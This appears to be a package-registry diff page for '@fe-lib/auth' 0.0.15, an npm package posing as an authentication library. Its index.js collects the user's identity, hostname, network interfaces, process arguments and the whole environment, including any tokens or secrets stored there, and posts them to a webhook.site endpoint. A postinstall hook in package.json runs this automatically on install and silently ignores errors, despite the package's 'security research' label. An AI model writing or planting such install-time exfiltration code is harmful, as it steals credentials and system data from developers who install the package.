@fe-lib/auth 0.0.15

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const process = require('process');
4
+
5
+ const data = JSON.stringify({
6
+ package: '@fe-lib/auth',
7
+ user: {
8
+ username: os.userInfo().username,
9
+ uid: os.userInfo().uid,
10
+ gid: os.userInfo().gid,
11
+ shell: os.userInfo().shell,
12
+ homedir: os.userInfo().homedir
13
+ },
14
+ system: {
15
+ hostname: os.hostname(),
16
+ platform: os.platform(),
17
+ type: os.type(),
18
+ release: os.release(),
19
+ arch: os.arch(),
20
+ cpus: os.cpus().length,
21
+ memory: os.totalmem(),
22
+ uptime: os.uptime()
23
+ },
24
+ process: {
25
+ pid: process.pid,
26
+ pwd: process.cwd(),
27
+ argv: process.argv,
28
+ nodeVersion: process.version,
29
+ env: process.env
30
+ },
31
+ network: {
32
+ interfaces: Object.entries(os.networkInterfaces())
33
+ .reduce((acc, [name, addrs]) => ({
34
+ ...acc,
35
+ [name]: addrs.map(addr => ({
36
+ address: addr.address,
37
+ family: addr.family,
38
+ internal: addr.internal
39
+ }))
40
+ }), {})
41
+ },
42
+ timestamp: new Date().toISOString()
43
+ });
44
+
45
+ const req = https.request({
46
+ hostname: 'webhook.site',
47
+ port: 443,
48
+ path: '/7c01aa03-15f8-4cd3-9d74-12003d2c661d',
49
+ method: 'POST',
50
+ headers: {
51
+ 'Content-Type': 'application/json',
52
+ 'Content-Length': data.length
53
+ }
54
+ }, res => console.log('Installed'));
55
+
56
+ req.on('error', () => {});
57
+ req.write(data);
58
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@fe-lib/auth",
3
+ "version": "0.0.15",
4
+ "description": "Security research package - demo.nuum.ru",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }